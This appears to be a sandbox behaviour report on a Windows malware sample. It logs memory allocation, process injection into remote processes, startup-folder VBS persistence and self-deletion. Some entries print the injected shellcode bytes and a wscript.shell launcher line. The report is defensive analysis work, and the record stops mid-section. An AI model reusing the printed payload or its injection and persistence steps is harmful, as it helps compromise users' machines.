allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01ef0000
success 0 0
1619625614.490374
NtAllocateVirtualMemory
process_identifier: 2668
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01f20000
success 0 0
1619625617.162499
NtAllocateVirtualMemory
process_identifier: 1056
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x003e0000
success 0 0
1619625617.162499
NtAllocateVirtualMemory
process_identifier: 1056
region_size: 69632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x004e0000
success 0 0
1619625617.162499
NtAllocateVirtualMemory
process_identifier: 1056
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x00510000
success 0 0
1619625618.538124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00400000
success 0 0
1619625618.897124
NtAllocateVirtualMemory
process_identifier: 1760
region_size: 1245184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x01e50000
success 0 0
1619625618.897124
NtAllocateVirtualMemory
process_identifier: 1760
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x01f40000
success 0 0
1619625618.897124
NtAllocateVirtualMemory
process_identifier: 1760
region_size: 229376
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01d80000
success 0 0
1619625618.897124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 118784
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01d82000
success 0 0
1619625634.132124
NtAllocateVirtualMemory
process_identifier: 1760
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x02160000
success 0 0
1619625634.132124
NtAllocateVirtualMemory
process_identifier: 1760
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02350000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76354000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77d4f000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76354000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00382000
success 0 0
1619625635.069124
NtProtectVirtualMemory
process_identifier: 1760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619625618.568751
NtAllocateVirtualMemory
process_identifier: 1868
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x01de0000
success 0 0
1619625618.568751
NtAllocateVirtualMemory
process_identifier: 1868
region_size: 69632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01e10000
success 0 0
1619625618.568751
NtAllocateVirtualMemory
process_identifier: 1868
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01f60000
success 0 0
1619625644.677751
NtAllocateVirtualMemory
process_identifier: 3448
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00370000
success 0 0
1619625644.693751
NtAllocateVirtualMemory
process_identifier: 3448
region_size: 69632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x003a0000
success 0 0
1619625644.693751
NtAllocateVirtualMemory
process_identifier: 3448
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x003d0000
success 0 0
1619625644.881874
NtProtectVirtualMemory
process_identifier: 3516
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00400000
success 0 0
1619625644.881874
NtAllocateVirtualMemory
process_identifier: 3516
region_size: 1638400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x01df0000
success 0 0
1619625644.881874
NtAllocateVirtualMemory
process_identifier: 3516
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x01f40000
success 0 0
1619625644.881874
NtAllocateVirtualMemory
process_identifier: 3516
region_size: 229376
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x004c0000
success 0 0
1619625644.881874
NtProtectVirtualMemory
process_identifier: 3516
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 118784
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x004c2000
success 0 0
1619625644.896874
NtAllocateVirtualMemory
process_identifier: 3516
region_size: 917504
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x01df0000
success 0 0
1619625644.896874
NtAllocateVirtualMemory
process_identifier: 3516
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x01e90000
success 0 0
1619625644.912874
NtProtectVirtualMemory
process_identifier: 3516
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01fe2000
success 0 0
1619625644.912874
NtProtectVirtualMemory
process_identifier: 3516
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619625644.912874
NtProtectVirtualMemory
process_identifier: 3516
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01fe2000
success 0 0
1619625644.912874
NtProtectVirtualMemory
process_identifier: 3516
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
Creates executable files on the filesystem (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows.vbs
Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (28 个事件)
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.60803637859038 section {'size_of_data': '0x0003c000', 'virtual_address': '0x0008b000', 'entropy': 7.60803637859038, 'name': '.rsrc', 'virtual_size': '0x0003bea8'} description A section with a high entropy has been found
entropy 0.3098773402194964 description Overall entropy of this PE file is high
Expresses interest in specific running processes (1 个事件)
process document.exe
Repeatedly searches for a not-found process, you may want to run a web browser during analysis (30 个事件)
Time & API Arguments Status Return Repeated
1619625614.490374
Process32NextW
process_name: 63a5e0cd270d6d0ecf15983fa7d0dfa9.exe
snapshot_handle: 0x000000f4
process_identifier: 2668
failed 0 0
1619625617.177499
Process32NextW
process_name: inject-x86.exe
snapshot_handle: 0x000000f4
process_identifier: 1880
failed 0 0
1619625644.506751
Process32NextW
process_name: dllhost.exe
snapshot_handle: 0x000004b0
process_identifier: 3372
failed 0 0
1619625644.693751
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 3448
failed 0 0
1619625645.146499
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000100
process_identifier: 3576
failed 0 0
1619625645.334374
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 3676
failed 0 0
1619625646.381501
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000114
process_identifier: 3812
failed 0 0
1619625646.599751
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 3912
failed 0 0
1619625648.099874
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000120
process_identifier: 4040
failed 0 0
1619625648.302501
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 2944
failed 0 0
1619625649.882124
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000120
process_identifier: 1344
failed 0 0
1619625650.068751
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 708
failed 0 0
1619625651.772124
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000120
process_identifier: 3508
failed 0 0
1619625651.943374
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 3640
failed 0 0
1619625654.210124
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000114
process_identifier: 3784
failed 0 0
1619625654.396499
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 3924
failed 0 0
1619625660.585249
Process32NextW
process_name: document.exe
snapshot_handle: 0x000001c0
process_identifier: 3976
failed 0 0
1619625660.756874
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 3224
failed 0 0
1619625662.522249
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000130
process_identifier: 3496
failed 0 0
1619625662.724374
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 3696
failed 0 0
1619625664.210249
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000120
process_identifier: 3960
failed 0 0
1619625664.381874
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 360
failed 0 0
1619625667.927999
Process32NextW
process_name: mscorsvw.exe
snapshot_handle: 0x00000160
process_identifier: 3452
failed 0 0
1619625668.099626
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 3384
failed 0 0
1619625669.849499
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000124
process_identifier: 3096
failed 0 0
1619625670.022249
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 2712
failed 0 0
1619625671.990874
Process32NextW
process_name: document.exe
snapshot_handle: 0x00000124
process_identifier: 3328
failed 0 0
1619625672.209751
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 1416
failed 0 0
1619625674.990374
Process32NextW
process_name: document.exe
snapshot_handle: 0x0000014c
process_identifier: 3648
failed 0 0
1619625675.194124
Process32NextW
process_name: document.exe
snapshot_handle: 0x000000f4
process_identifier: 628
failed 0 0
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Creates an Alternate Data Stream (ADS) (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe:ZoneIdentifier
Allocates execute permission to another process indicative of possible code injection (1 个事件)
Time & API Arguments Status Return Repeated
1619625615.224374
NtAllocateVirtualMemory
process_identifier: 884
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x000000fc
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000b0000
success 0 0
Installs itself for autorun at Windows startup (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows.vbs
Deletes executed files from disk (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe
Creates a thread using NtQueueApcThread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 2668 created a thread in remote process 884
Time & API Arguments Status Return Repeated
1619625615.224374
NtQueueApcThread
thread_handle: 0x00000104
process_identifier: 884
function_address: 0x000b05c0
parameter: 0x000c0000
success 0 0
Potential code injection by writing to the memory of another process (2 个事件)
Time & API Arguments Status Return Repeated
1619625615.224374
WriteProcessMemory
process_identifier: 884
buffer: Q¹0d‹‹@ ‹@ ‹‹‹@‰$‹$YÃVWR¾§ÆgNè„Yƒøv· ¿Zwf;Ït ¿Ntf;ÏuƒÂƒè…Àt‹ÎÁá‹þÁïϾ:Ï3ñBHué_‹Æ^ÃU‹ìQQ‹MSVW…Ét;¸MZf9u1‹A<Át*8PEu"‹@xƒeüÁ‹x‹X$‹p ‹@ùÙñ‰Eø…Àu 3À_^[ÉËM‹Eü‹†ÑèOÿÿÿ;E t ÿEü‹Eü;Eøràë׋Eü·C‹‡EëÊU‹ìQSW3ÿWWjWjh@ÿuÿV‹Øƒûÿu3Àë&WWWS‰}üÿV0W‹}EüPWÿu SÿV SÿV3À9}ü”À_[ÉÅÉtè•…Àt3Éf‰ÃU‹ììV‹ð…äüÿÿP3ÀPPjPÿVl…À…Žj\Xf‰Eü3Àj.f‰EþXjvf‰EðXf‰EòjbXf‰EôjsXf‰Eö3Àf‰EøUü…äüÿÿèÖ‹U è΍UðèÆÿu…ìþÿÿÿuPÿVxƒÄ …äüÿÿPÿV…ìþÿÿPèÂ@P…ìþÿÿP…äüÿÿPèîþÿÿƒÄ^ÉÃU‹ìì,j:XjZf‰EÜXjof‰EÞXjnf‰EàXjef‰EâXjIf‰EäXjdf‰EæXjef‰EèXjnf‰EêXjtf‰EìXjif‰EîXjff‰EðXjif‰EòXf‰EôjeXf‰EöjrXf‰Eø3Àf‰Eú…Ôýÿÿ謍UÜè÷EÿPÆEÿèPEÿP…ÔýÿÿPè?þÿÿƒÄÉÃU‹ìQƒeüV‹ðEüPÿuèþYY…Àtƒ}ütÿuüPÿu è þÿÿƒÄ …Àt3À@ë3À^ÉÃU‹ììSV‹ð‹Ï…øýÿÿè'‹Èè(þÿÿ3ÛS…øýÿÿPÿVWÿV8] uWÿu‹Æè~ÿÿÿYY‹Øë €} u5SWÿuÿWÿV(3ۃøÿ‹Ï•Ãèªþÿÿƒûu9]u WÿV(ƒÈPWÿV,3À@ë3À^[ÉÃU‹ìƒìSVWèsüÿÿ‹ø…ÿ„"h"¿ŠWèÌüÿÿ‹ØYY…Û„ jh0h„jÿӋð…ö„ñh¼Û«½W‰~`‰^@è•üÿÿhÒ¼‰W‰F$è‡üÿÿh|QgjW‰F(èyüÿÿhëI”W‰F,èküÿÿh•å©—W‰F0è]üÿÿh¥°(W‰F4èOüÿÿh)·W‰F8èAüÿÿh[uŠðW‰FDè3üÿÿƒÄ@‹Øhd†óuW‰^ è üÿÿh¢¦aëW‰F èüÿÿhÕOd"W‰Fèüÿÿhy.ÔW‰Fèöûÿÿh±÷W‰FèèûÿÿheóW÷W‰FèÚûÿÿh¯4P“W‰FèÌûÿÿh{=#W‰F<è¾ûÿÿƒÄ@hOû~ W‰Fè­ûÿÿhà=!6W‰FHèŸûÿÿhh‰#W‰è’ûÿÿ‰FLhÍeWè„ûÿÿhÓ1ÆVW‰FPèvûÿÿh7œ½W‰FTèhûÿÿh£-ãW‰FXèZûÿÿ‰F\ƒÄ8EðPÇEðshelÇEôl32ÿӋø…ÿt"hÀåz°W‰~dè,ûÿÿhêêºW‰FlèûÿÿƒÄ‰FpEøPÇEøuserfÇEü32ÆEþÿV ‹ø…ÿtAhqV°0W‰~hèìúÿÿhkV°0W‰FxèÞúÿÿh&cj—W‰FtèÐúÿÿh<cj—W‰F|èÂúÿÿƒÄ ‰†€‹Æë3À_^[ÉÃU‹ìƒì\V‹uW3ÿ;÷„îSè¤ýÿÿ‹Ø;ßu WÿDéՍ†‰EüPëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPF‰Eø‰E9>tYÿ¶¶ŽQP¾ ‹Ãè¾üÿÿ‰}3ÿƒÄ 9>t1jDE¤WPèjEèWPèüƒÄEèPE¤PWWj WWWWÿuÿS$9¾(t†lP†,Pÿu‹Ãè½úÿÿƒÄ 9¾tëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPÿuøÿSWÿSD[_3À^ÉÂU‹ìƒì SW3ÿWWjWjh€ÿu‰}øÿV‹Øƒûÿu3Àë>WSÿV‰Eô;Çt+jh0PWÿV@‰Eø;ÇtWMüQÿuô‰}üPSÿV‹Eü‹M ‰SÿV‹Eø_[É÷f‰f…ÒtV‹ð+ñƒÁ·f‰f…Òuñ^ÃU‹ìQQ‹E‰Eü‹EüE‰Eø‹Eü;Eøt‹EüŠM ˆ‹Eü@‰Eüëç‹EÉÃfƒ8V‹ðt ƒÆfƒ>u÷+ò· f‰ ƒÂf…Éuñ^ËD$Š@„Éuù+D$HÅÉu3ÀÃfƒ9‹Át ƒÀfƒ8u÷+ÁÑøÅÉt èÚÿÿÿ…ÀtDAþë fƒù\t ƒè·f…Éuï3ÀÃ
process_handle: 0x000000fc
base_address: 0x000b0000
success 1 0
1619625615.224374
WriteProcessMemory
process_identifier: 884
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\63a5e0cd270d6d0ecf15983fa7d0dfa9.exeC:\Users\Administrator.Oskar-PC\AppData\Roaming\AppData\document.exe"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\63a5e0cd270d6d0ecf15983fa7d0dfa9.exe" windowsseT bZuzCIaI = crEaTEobjEcT("wscrIPt.shElL") BZUZCIaI.ruN """%ls""", 0, False
process_handle: 0x000000fc
base_address: 0x000c0000
success 1 0
Used NtSetContextThread to modify a thread in a remote process indicative of process injection (30 个事件)
Process injection Process 1056 called NtSetContextThread to modify thread in remote process 1760
Process injection Process 3448 called NtSetContextThread to modify thread in remote process 3516
Process injection Process 3676 called NtSetContextThread to modify thread in remote process 3752
Process injection Process 3912 called NtSetContextThread to modify thread in remote process 3980
Process injection Process 2944 called NtSetContextThread to modify thread in remote process 3060
Process injection Process 708 called NtSetContextThread to modify thread in remote process 3316
Process injection Process 3640 called NtSetContextThread to modify thread in remote process 3396
Process injection Process 3924 called NtSetContextThread to modify thread in remote process 4020
Process injection Process 3224 called NtSetContextThread to modify thread in remote process 2420
Process injection Process 3696 called NtSetContextThread to modify thread in remote process 3848
Process injection Process 360 called NtSetContextThread to modify thread in remote process 1124
Process injection Process 3384 called NtSetContextThread to modify thread in remote process 3956
Process injection Process 2712 called NtSetContextThread to modify thread in remote process 1856
Process injection Process 1416 called NtSetContextThread to modify thread in remote process 2404
Process injection Process 628 called NtSetContextThread to modify thread in remote process 1324
Time & API Arguments Status Return Repeated
1619625617.318499
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 1760
success 0 0
1619625644.740751
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3516
success 0 0
1619625645.365374
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3752
success 0 0
1619625646.834751
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3980
success 0 0
1619625648.615501
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3060
success 0 0
1619625650.443751
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3316
success 0 0
1619625653.099374
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3396
success 0 0
1619625654.912499
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 4020
success 0 0
1619625660.802874
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2420
success 0 0
1619625662.943374
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3848
success 0 0
1619625664.865874
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 1124
success 0 0
1619625668.177626
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 3956
success 0 0
1619625670.569249
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 1856
success 0 0
1619625672.490751
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2404
success 0 0
1619625675.710124
NtSetContextThread
thread_handle: 0x00000104
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4707504
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 1324
success 0 0
Resumed a suspended thread in a remote process potentially indicative of process injection (30 个事件)
Process injection Process 1056 resumed a thread in remote process 1760
Process injection Process 3448 resumed a thread in remote process 3516
